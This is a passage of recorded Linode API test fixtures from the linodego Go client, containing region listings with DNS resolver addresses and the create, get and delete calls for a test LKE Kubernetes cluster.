"Vlans", "VPCs", "Managed Databases", "Metadata", "Premium Plans", "Placement Group", "StackScripts"], "status": "ok", "resolvers": {"ipv4": "172.233.64.44,172.233.64.43,172.233.64.37,172.233.64.40,172.233.64.46,172.233.64.41,172.233.64.39,172.233.64.42,172.233.64.45,172.233.64.38", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "it-mil", "label": "Milan, IT", "country": "it", "capabilities": ["Linodes", "Block Storage Encryption", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Kubernetes Enterprise", "Cloud Firewall", "Vlans", "VPCs", "Managed Databases", "Metadata", "Premium Plans", "Placement Group", "StackScripts"], "status": "ok", "resolvers": {"ipv4": "172.232.192.19,172.232.192.18,172.232.192.16,172.232.192.20,172.232.192.24,172.232.192.21,172.232.192.22,172.232.192.17,172.232.192.15,172.232.192.23", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-mia", "label": "Miami, FL", "country": "us", "capabilities": ["Linodes", "Block Storage Encryption", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Kubernetes Enterprise", "Cloud Firewall", "Vlans", "VPCs", "Managed Databases", "Metadata", "Premium Plans", "Placement Group", "StackScripts", "NETINT Quadra T1U"], "status": "ok", "resolvers": {"ipv4": "172.233.160.34,172.233.160.27,172.233.160.30,172.233.160.29,172.233.160.32,172.233.160.28,172.233.160.33,172.233.160.26,172.233.160.25,172.233.160.31", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "id-cgk", "label": "Jakarta, ID", "country": "id", "capabilities": ["Linodes", "Block Storage Encryption", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Kubernetes Enterprise", "Cloud Firewall", "Vlans", "VPCs", "Managed Databases", "Metadata", "Premium Plans", "Placement Group", "StackScripts"], "status": "ok", "resolvers": {"ipv4": "172.232.224.23,172.232.224.32,172.232.224.26,172.232.224.27,172.232.224.21,172.232.224.24,172.232.224.22,172.232.224.20,172.232.224.31,172.232.224.28", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-lax", "label": "Los Angeles, CA", "country": "us", "capabilities": ["Linodes", "Block Storage Encryption", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Kubernetes Enterprise", "Cloud Firewall", "Vlans", "VPCs", "Managed Databases", "Metadata", "Premium Plans", "Placement Group", "StackScripts", "NETINT Quadra T1U"], "status": "ok", "resolvers": {"ipv4": "172.233.128.45,172.233.128.38,172.233.128.53,172.233.128.37,172.233.128.34,172.233.128.36,172.233.128.33,172.233.128.39,172.233.128.43,172.233.128.44", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "gb-lon", "label": "London 2, UK", "country": "gb", "capabilities": ["Linodes", "Block Storage Encryption", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Kubernetes Enterprise", "Cloud Firewall", "Vlans", "VPCs", "Managed Databases", "Metadata", "Premium Plans", "Placement Group", "StackScripts"], "status": "ok", "resolvers": {"ipv4": "172.236.0.46,172.236.0.50,172.236.0.47,172.236.0.53,172.236.0.52,172.236.0.45,172.236.0.49,172.236.0.51,172.236.0.54,172.236.0.48", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "au-mel", "label": "Melbourne, AU", "country": "au", "capabilities": ["Linodes", "Block Storage Encryption", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Kubernetes Enterprise", "Cloud Firewall", "Vlans", "VPCs", "Managed Databases", "Metadata", "Premium Plans", "Placement Group", "StackScripts", "NETINT Quadra T1U"], "status": "ok", "resolvers": {"ipv4": "172.236.32.23,172.236.32.35,172.236.32.30,172.236.32.28,172.236.32.32,172.236.32.33,172.236.32.27,172.236.32.37,172.236.32.29,172.236.32.34", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "in-bom-2", "label": "Mumbai 2, IN", "country": "in", "capabilities": ["Linodes", "Block Storage Encryption", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "GPU Linodes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans", "Placement Group", "StackScripts"], "status": "ok", "resolvers": {"ipv4": "172.236.171.41,172.236.171.42,172.236.171.25,172.236.171.44,172.236.171.26,172.236.171.45,172.236.171.24,172.236.171.43,172.236.171.27,172.236.171.28", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "de-fra-2", "label": "Frankfurt 2, DE", "country": "de", "capabilities": ["Linodes", "Block Storage Encryption", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans", "Placement Group", "StackScripts", "NETINT Quadra T1U"], "status": "ok", "resolvers": {"ipv4": "172.236.203.9,172.236.203.16,172.236.203.19,172.236.203.15,172.236.203.17,172.236.203.11,172.236.203.18,172.236.203.14,172.236.203.13,172.236.203.12", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "sg-sin-2", "label": "Singapore 2, SG", "country": "sg", "capabilities": ["Linodes", "Block Storage Encryption", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "GPU Linodes", "Kubernetes", "Kubernetes Enterprise", "Cloud Firewall", "Vlans", "VPCs", "Managed Databases", "Metadata", "Premium Plans", "Placement Group", "StackScripts"], "status": "ok", "resolvers": {"ipv4": "172.236.129.8,172.236.129.42,172.236.129.41,172.236.129.19,172.236.129.46,172.236.129.23,172.236.129.48,172.236.129.20,172.236.129.21,172.236.129.47", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "jp-tyo-3", "label": "Tokyo 3, JP", "country": "jp", "capabilities": ["Linodes", "Block Storage Encryption", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans", "Placement Group", "StackScripts"], "status": "ok", "resolvers": {"ipv4": "172.237.4.15,172.237.4.19,172.237.4.17,172.237.4.21,172.237.4.16,172.237.4.18,172.237.4.23,172.237.4.24,172.237.4.20,172.237.4.14", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-central", "label": "Dallas, TX", "country": "us", "capabilities": ["Linodes", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata", "Placement Group", "StackScripts"], "status": "ok", "resolvers": {"ipv4": "72.14.179.5,72.14.188.5,173.255.199.5,66.228.53.5,96.126.122.5,96.126.124.5,96.126.127.5,198.58.107.5,198.58.111.5,23.239.24.5", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-west", "label": "Fremont, CA", "country": "us", "capabilities": ["Linodes", "Block Storage Encryption", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata", "Placement Group", "StackScripts"], "status": "ok", "resolvers": {"ipv4": "173.230.145.5, 173.230.147.5, 173.230.155.5, 173.255.212.5, 173.255.219.5, 173.255.241.5, 173.255.243.5, 173.255.244.5, 74.207.241.5, 74.207.242.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-southeast", "label": "Atlanta, GA", "country": "us", "capabilities": ["Linodes", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata", "Placement Group", "StackScripts"], "status": "ok", "resolvers": {"ipv4": "74.207.231.5,173.230.128.5,173.230.129.5,173.230.136.5,173.230.140.5,66.228.59.5,66.228.62.5,50.116.35.5,50.116.41.5,23.239.18.5", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-east", "label": "Newark, NJ", "country": "us", "capabilities": ["Linodes", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata", "Placement Group", "StackScripts"], "status": "ok", "resolvers": {"ipv4": "66.228.42.5, 96.126.106.5, 50.116.53.5, 50.116.58.5, 50.116.61.5, 50.116.62.5, 66.175.211.5, 97.107.133.4, 207.192.69.4, 207.192.69.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "eu-west", "label": "London, UK", "country": "gb", "capabilities": ["Linodes", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Metadata", "Placement Group", "StackScripts"], "status": "ok", "resolvers": {"ipv4": "178.79.182.5, 176.58.107.5, 176.58.116.5, 176.58.121.5, 151.236.220.5, 212.71.252.5, 212.71.253.5, 109.74.192.20, 109.74.193.20, 109.74.194.20", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "ap-south", "label": "Singapore, SG", "country": "sg", "capabilities": ["Linodes", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Metadata", "Placement Group", "StackScripts"], "status": "ok", "resolvers": {"ipv4": "139.162.11.5,139.162.13.5,139.162.14.5,139.162.15.5,139.162.16.5,139.162.21.5,139.162.27.5,103.3.60.18,103.3.60.19,103.3.60.20", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "eu-central", "label": "Frankfurt, DE", "country": "de", "capabilities": ["Linodes", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata", "Placement Group", "StackScripts"], "status": "ok", "resolvers": {"ipv4": "139.162.130.5,139.162.131.5,139.162.132.5,139.162.133.5,139.162.134.5,139.162.135.5,139.162.136.5,139.162.137.5,139.162.138.5,139.162.139.5", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "ap-northeast", "label": "Tokyo 2, JP", "country": "jp", "capabilities": ["Linodes", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata", "Placement Group", "StackScripts"], "status": "ok", "resolvers": {"ipv4": "139.162.66.5,139.162.67.5,139.162.68.5,139.162.69.5,139.162.70.5,139.162.71.5,139.162.72.5,139.162.73.5,139.162.74.5,139.162.75.5", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}], "page": 1, "pages": 1, "results": 31}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Tue, 07 Jan 2025 18:17:27 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter - Accept-Encoding X-Accepted-Oauth-Scopes: - '*' X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "1600" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: '{"node_pools":[{"count":1,"type":"g6-standard-2","disks":null,"tags":["test"],"labels":null,"taints":null}],"label":"go-test-def","region":"us-lax","k8s_version":"v1.31.1+lke1","tags":["testing"],"tier":"enterprise"}' form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/lke/clusters method: POST response: body: '{"id": 308002, "status": "ready", "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "label": "go-test-def", "region": "us-lax", "k8s_version": "v1.31.1+lke1", "tier": "enterprise", "control_plane": {"high_availability": true}, "tags": ["testing"]}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "265" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Tue, 07 Jan 2025 18:17:31 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - lke:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "1600" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/lke/clusters/308002 method: GET response: body: '{"id": 308002, "status": "ready", "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "label": "go-test-def", "region": "us-lax", "k8s_version": "v1.31.1+lke1", "tier": "enterprise", "control_plane": {"high_availability": true}, "tags": ["testing"]}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "265" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Tue, 07 Jan 2025 18:17:31 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - lke:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "1600" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/lke/clusters/308002 method: DELETE response: body: '{}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "2" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Tue, 07 Jan 2025 18:17:32 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - lke:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "1600" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" golang-github-linode-linodego-1.47.0/test/integration/fixtures/TestLKECluster_GetFound.yaml000066400000000000000000000351011474652371000320600ustar00rootroot00000000000000--- version: 1 interactions: - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/regions?page=1 method: GET response: body: '{"data": [{"id": "ap-west", "label": "Mumbai, India", "country": "in", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Vlans", "VPCs", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "172.105.34.5,172.105.35.5,172.105.36.5,172.105.37.5,172.105.38.5,172.105.39.5,172.105.40.5,172.105.41.5,172.105.42.5,172.105.43.5", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "ca-central", "label": "Toronto, Ontario, CAN", "country": "ca", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Vlans", "VPCs", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "172.105.0.5,172.105.3.5,172.105.4.5,172.105.5.5,172.105.6.5,172.105.7.5,172.105.8.5,172.105.9.5,172.105.10.5,172.105.11.5", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "ap-southeast", "label": "Sydney, NSW, Australia", "country": "au", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Vlans", "VPCs", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "172.105.166.5,172.105.169.5,172.105.168.5,172.105.172.5,172.105.162.5,172.105.170.5,172.105.167.5,172.105.171.5,172.105.181.5,172.105.161.5", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "fake-cph-4", "label": "Fake CPH 4, DK", "country": "dk", "capabilities": ["Linodes", "Metadata"], "status": "ok", "resolvers": {"ipv4": "8.8.8.8,1.1.1.1,1.0.0.1,8.8.4.4", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "fake-cph-5", "label": "Fake CPH 5, DK", "country": "dk", "capabilities": ["Linodes", "Metadata"], "status": "ok", "resolvers": {"ipv4": "8.8.8.8,1.1.1.1,1.0.0.1,8.8.4.4", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "billing66", "label": "Billing Automation, BA", "country": "dk", "capabilities": ["Linodes", "Metadata"], "status": "ok", "resolvers": {"ipv4": "8.8.8.8,1.1.1.1,1.0.0.1,8.8.4.4", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "billing67", "label": "Billing Automation, BA", "country": "dk", "capabilities": ["Linodes", "Metadata"], "status": "ok", "resolvers": {"ipv4": "8.8.8.8,1.1.1.1,1.0.0.1,8.8.4.4", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "billing100", "label": "Billing Automation, BA", "country": "dk", "capabilities": ["Linodes", "Metadata"], "status": "ok", "resolvers": {"ipv4": "8.8.8.8,1.1.1.1,1.0.0.1,8.8.4.4", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-central", "label": "Dallas, TX, USA", "country": "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Kubernetes", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "72.14.179.5,72.14.188.5,173.255.199.5,66.228.53.5,96.126.122.5,96.126.124.5,96.126.127.5,198.58.107.5,198.58.111.5,23.239.24.5", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-west", "label": "Fremont, CA, USA", "country": "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "173.230.145.5,173.230.147.5,173.230.155.5,173.255.212.5,173.255.219.5,173.255.241.5,173.255.243.5,173.255.244.5,74.207.241.5,74.207.242.5", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-southeast", "label": "Atlanta, GA, USA", "country": "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "74.207.231.5,173.230.128.5,173.230.129.5,173.230.136.5,173.230.140.5,66.228.59.5,66.228.62.5,50.116.35.5,50.116.41.5,23.239.18.5", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-east", "label": "Newark, NJ, USA", "country": "us", "capabilities": ["Linodes", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Bare Metal", "Vlans", "VPCs", "Block Storage Migrations", "Managed Databases", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "66.228.42.5,96.126.106.5,50.116.53.5,50.116.58.5,50.116.61.5,50.116.62.5,66.175.211.5,97.107.133.4,207.192.69.4,207.192.69.5", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "eu-west", "label": "London, England, UK", "country": "uk", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Cloud Firewall", "Vlans", "VPCs", "Managed Databases", "Metadata", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "178.79.182.5,176.58.107.5,176.58.116.5,176.58.121.5,151.236.220.5,212.71.252.5,212.71.253.5,109.74.192.20,109.74.193.20,109.74.194.20", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "ap-south", "label": "Singapore, SG", "country": "sg", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "139.162.11.5,139.162.13.5,139.162.14.5,139.162.15.5,139.162.16.5,139.162.21.5,139.162.27.5,103.3.60.18,103.3.60.19,103.3.60.20", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "eu-central", "label": "Frankfurt, DE", "country": "de", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "139.162.130.5,139.162.131.5,139.162.132.5,139.162.133.5,139.162.134.5,139.162.135.5,139.162.136.5,139.162.137.5,139.162.138.5,139.162.139.5", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "ap-northeast", "label": "Tokyo 2, JP", "country": "jp", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "139.162.66.5,139.162.67.5,139.162.68.5,139.162.69.5,139.162.70.5,139.162.71.5,139.162.72.5,139.162.73.5,139.162.74.5,139.162.75.5", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}], "page": 1, "pages": 1, "results": 16}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=900 - private, max-age=60, s-maxage=60 Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Accept-Encoding - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - '*' X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "400" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: '{"node_pools":[{"count":1,"type":"g6-standard-2","disks":null,"tags":["test"]}],"label":"go-lke-test-found","region":"us-east","k8s_version":"1.29","tags":["testing"]}' form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/lke/clusters method: POST response: body: '{"id": 7940, "status": "ready", "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "label": "go-lke-test-found", "region": "us-east", "k8s_version": "1.29", "control_plane": {"high_availability": false}, "tags": ["testing"]}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, 